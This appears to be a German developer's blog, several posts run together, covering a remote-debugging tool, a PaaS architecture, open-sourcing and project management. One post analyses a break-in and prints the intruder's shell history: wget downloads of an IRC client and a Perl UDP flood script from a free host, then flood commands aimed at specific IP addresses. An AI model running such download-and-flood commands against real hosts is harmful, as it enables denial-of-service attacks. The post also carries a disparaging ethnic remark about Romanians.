Den Code gibts hier: http://github.com/marcboeker/raccoon
Den Installationssupport unter: 0190 0815 4711 (2 Kekse/Minute aus dem deutschen Festnetz)

Raccoon ist ein Server+Libs die es ermöglichen remote zu debuggen oder Live Events auf Webseiten zu tracken. Dabei vermint man die Webseite mit einem JavaScript ala Google Analytics und sieht fortan, wenn jemand etwas in den Warenkorb legt oder was er in die Suchbox eingegeben hat.

Oder man hat eine Serverapp, die man nicht lokal testen kann und bei der man nicht via print, puts, whatever die entsprechende Variable auf der Console ausgeben. Dann bindet man den Raccoon Tracker ein und schick die Variable an den Raccoon Server, der das Ganze dann im Browser anzeigt.

Wie gesagt, alles noch Prototyp – aber zum Debuggen vom tension Grid hats mir heute schon sehr geholfen.

Der Sourcecode ist hier zu finden. Hilfe gibts in den Kommentaren :) Fiel Fergnügen beim Friemeln.

Der REST Client war als ich den Screencast gemacht habe noch total buggy. Nachdem ich ihn aber mal in die Klemme genommen habe, läuft er nun deutlich besser und checkt erkennt sogar, dass ich Fusseln bei einem Deploy die zu deployende App vergessen habe :)

Hier ein simples Ruby+Sinatra Deploy (Am besten in Fullscreen und HD anschauen, sonst gibts Gehirnkirmes):

Und hier das Ganze nochmal mit einer Python App:

Man sieht, es ist noch in der Pubertät, aber die Faxen treibe ich ihm noch aus :) Bei meinem Tastaturanschlag bekommt das Wort Hacker eine ganz neue Bedeutung.

Es geht dabei darum, herkömmliche “Offline-Software” über eine Schnittstelle mit Online-Modulen zu versehen. Neben unserem Live-Streaming hätte diese Schnittstelle genau das, was nötig ist um einen sinnvollen Datenaustausch zwischen Web und Software zu gewährleisten: Asynchronität. Der Vorteil wäre, dass Software die Vorzüge des Webs nutzen kann, ohne dass der User dabei seine gewohnte Umgebung verlassen muss.

Um das Ganze etwas zu verdeutlichen, habe ich gerade eine kurze Präsentation erstellt (Layout wurde beim Upload leider etwas verzockt – aber wir wollen ja um die Uhrzeit nicht kleinariert werden, oder?):

Was mir aber in letzter Zeit aufgefallen ist, immer mehr große Firmen geben Teile ihrer Infrastruktur als Opensource frei. Siehe Facebook mit Thrift, Cassandra, Tornado Web, Hive usw. Auch Google ist dabei mit GWT, Wave und ihrem Code Inkubator. Wir nutzen alle diese Technologien stillschweigend und freuen uns wenn sie funktionieren, doch wie können wir was zurückgeben und gleichzeitig unser eigenes Produkt damit verbessern ohne die Kerntechnologie offenzulegen? Hier ein paar Überlegungen die ich mir dazu gemacht habe:

Welche Technologie macht das eigene Unternehmen aus? Welche Teile unterstützen die Technologie und lassen sich kapseln? Wieviel kann ich offenlegen, ohne meine Geschäftsgrundlage auszuhebeln?

Beispiele:

• Facebooks Tornado Webserver in Python. Er stellt nur einen kleinen Teil der Facebook Technologie dar, es ist also unkritisch ihn Opensource zu machen. Aber: Viele Entwickler beschäftigen sich nun damit und finden Bugs die Facebook (oder eben Friendfeed) nicht gefunden haben. Viele freuen sich, einen neuen, superschnellen asynchronen Webserver nutzen zu können. Ergo zieht Facebook auch einen Benefit aus dem veröffentlichen des Sourcecodes.

• Google’s GWT. Ursprünglich geschrieben um Webapps wie Gmail einfacher entwickeln zu können, heute Opensource. Seitdem hat sich viel getan und es sind viele externe Libraries dazugekommen. Also auch hier ein Mehrgewinn für Google.

Was ich eigentlich damit sagen will ist, dass wir uns gerade überlegen was wir von ONchestra und seiner Platform Opensource stellen soll. Nicht um unser Gewissen zu beruhigen, sondern auch mit dem Gedanken dass mehrere Geeks sicher darin Bugs finden könnten, auf die man selbst nicht kommt.

Was würde Euch am meisten interessieren?

• Umatics Tension – Unser EC2 für Arme :) (@Philipp: Habt Ihr denn auch vor Teile Eueres ähnlichen Konzeptes zu opensourcen?)
• Umatics Chester – MongoDB ORM mit Validation und Referencing für Ruby
• Umatics MongoDB Object – Ähnlich wie Chester nur für Python

Was mich noch interessieren würde:

• Stellt Eure Firma teile Ihres Codes unter einer Opensource Lizenz ins Netz?
• Wenn ja, welche Erfahrungen habt Ihr damit gemacht?

Ganz am Rande: Ich frage mich schon seit einiger Zeit, was im Webumfeld als Technologie definiert werden kann. Ist eine einfach Webapp bereits Technologie oder erst der eigens entwickelte Loadbalancer mit neuartigem Queuing Algorithmus? Was meint Ihr?

Wenn wir von ONchestra reden, dann sprechen wir von einem zweischichtiges System, auf dem sich unsere Webapps wohlfühlen sollen. Die unterste Schicht (nein, nicht die Unterschicht) bildet dabei ein PaaS (Platform as a Service) Dienst, den wir gebaut haben um uns keine Sorgen um das Hinzufügen und Wegnehmen von Serverkapazität machen zu müssen. Das Ganze heißt UMATICS Tension Grid und ist sozusagen der Tortenboden in der gesamten Architekur. Zu vergleichen mit Amazon EC2, nur dass der Tortenboden automatisch skaliert. Wow Geil!

Weil ein Tortenboden aber alleine so schmackhaft wie Wüstensand ist, brauchen wir natürlich auch eine Sahne-Creme Basis, auf der sich dann später unsere Früchtchen wohlfühlen. Diese kalorienhaltige Grundlage bildet der ONchestra Desktop mit seinem JavaScript Framework. Er stellt der Webapp alle Funktionen zur Verfügung, damit sie sich wohl fühlt. Von der User/Gruppenverwaltung (ACL) über eine Live-Messaging API bis hin zur Fensterverwaltung und einem Notification-System. Soll heissen, als Developer braucht man sich nur um die App an sich kümmern, das Drumherum kann über eine API reingezogen werden.

Damit der Kuchen auch einen nachhaltigen Sinn hat und nicht nur fett macht, brauchen wir natürlich das Allerwichtigste, die Webapps. Lange haben wir experimentiert wie man ein einfaches aber gleichzeitig auch leistungsfähiges User-Interface darstellen kann. Letzendlich haben wir uns auf ExtJS geeinigt. Über das wieso schreibe ich demnächst mehr.

Voila! Guten Appetit. Ich glaube damit haben wir einen ganz guten Mix aus “Best Practices”, Flexibilität und “sich nicht einen abbrechen müssen” gebaut. Ach ja ganz vergessen, ich heisse übrigens Marc :)

Ich geh mal in die Horizontale..
Gute Nacht !

Was hat der gute Rumäne denn alles angestellt. Seht selbst:


wget extreme.ucoz.es/irc/bx-linux.tar.gz
tar xzvf bx-linux.tar.gz
chmod +x *
./BitchX
su root
exit
irssi
exit
cd /tmp
cd
wget extreme.ucoz.es/irc/udp.pl
chmod +x *
perl udp.pl 212.29.191.178 0 0
perl udp.pl 80.13.3.69 0 0
perl udp.pl 212.29.191.178 0 0
perl udp.pl 84.27.104.252 53 0
perl udp.pl 67.177.118.179 0 0
perl udp.pl 98.64.53.198 0 0
perl udp.pl 70.21.246.46 0 0
exit


Für Alle, die gerade Hüttenkäse verstehen, hier nochmal die Zusammenfassung. Er hat sich von einen Freehoster den IRC Client BitchX/Irssi und ein Perl Sktipt gezogen, welches beliebige IPs mit unnützen Daten zumüllt. Gleichzeitig lässt sich das Sktipt von außen über die bestehende IRC Verbindung steuern. Dass so eine Lösung aus Rumänien kommt wundert mich nicht, schließlich funktionieren die Dacia Logans ja nach dem gleichen Prinzip.

Jedenfalls wissen wir jetzt, über welche Services der Gute gekommen ist und können dementsprechend das System präventiv dichtmachen.

Und genau hier kommt das Projektmanagement zum Einsatz. Denn wenn man ganz grob das zu Machende in kleine Happen unterteilt (Tasks) und diese dann Milestones zuordned behält man den Überblick was es noch wichtiges gibt. Ganz wichtig ist meiner Meinung nach auch ein fixer Releaseintervall. Sonst schiebt man das Release immer nach hinten.

Umfang

Halten wir fest, Projektmanagement macht Sinn, aber wieviel davon ist richtig und ab wann wird es ein Produktivitätskiller? Zuerst sollten feste Relasedaten definiert werden. Wir testen es mit einem wöchentlichen Release, denn so kommen wir schneller an das Feedback unserer Kunden und können ein Relase später auch schon wieder die Funktion raushauen, wenn sie dem Kunden nicht gefällt. Hotfixes werden natürlich sofort released aber die sollten beim Testing schon auffallen und behoben werden :) Am Wochenanfang besprechen wir kurz (max. 15 min) was in das Release am Wochenende rein soll. So können wir auch kurzfristig Änderungen vornehmen. Bei der Definition der Tasks reicht ein simpler Satz, der bei Unklarheiten dann noch mal im Detail besprochen wird. Keine Aufsätze schreiben.

Zeitrahmen

Ist ein Release früher als erwartet fertig, machen wir alle frühzeitig Wochenende :) Nein, dann überlegen wir uns ob die Zeiteinschätzung für die einzelnen Tasks realistisch oder vollkommen übertrieben war und was wir aus kommenden Releases vorziehen können. Meistens wird es aber so sein, dass man unter Zeitdruck kommt. Dann bleibt nur noch die Erweiterung der Arbeitszeit und das nach hinten schieben von Nice-to-have Features. Wenn ein Feature mehr als 2 mal verschoben wird, sollte man sich sowieso überlegen ob es Sinn macht.

Welches Tool

Die Frage kann man nicht generell Beantworten. Das ist wie wenn man fragt, welcher Wein schmeckt allen Leuten? Die einen sind super begeistert mit Trac, viele nutzen MS Project oder eine andere proprietäre Software. Wir sind ganz zufrieden mit Redmine.

Features

Da die heutigen Applikationen einen Haufen an Features mitbringen, muss man aufpassen, was man nutzen möchte und was unwichtig/Zeitkiller ist. Timetracking erinnert mich an Stempelautomaten und die hasse ich. Außerdem wird bei uns eh keiner nach Zeit bezahlt. Auch ist es sehr schwer für jede Task eine max. Zeit zu definieren. Also weg damit. Dann das integrierte Forum. Wir sind keine Community, sondern ein kleines Team. Brauchen wir also auch nicht. Zum kommunizieren gibts schnellere Möglichkeiten. Dann die Dokumentenverwaltung. Nette Idee, aber ich lade nicht nach jeder Änderung einer Excel Tabelle diese erneut hoch. Ergo unflexibel -> Remove it! Ach ja die Newsfunktion. Wer Zeit hat Newsmitteilungen zu schreiben hat zuwenig Tasks in seiner Inbox :) Hört sich hart an aber Teamintern interessieren uns keine News. Denn Neues wird über den verbalen RSS Feed verteilt.

Sag was du machst und mach was du sagst!

Welche Projektmanagement Software/App setzt ihr ein? Was Features sind Euch wichtig?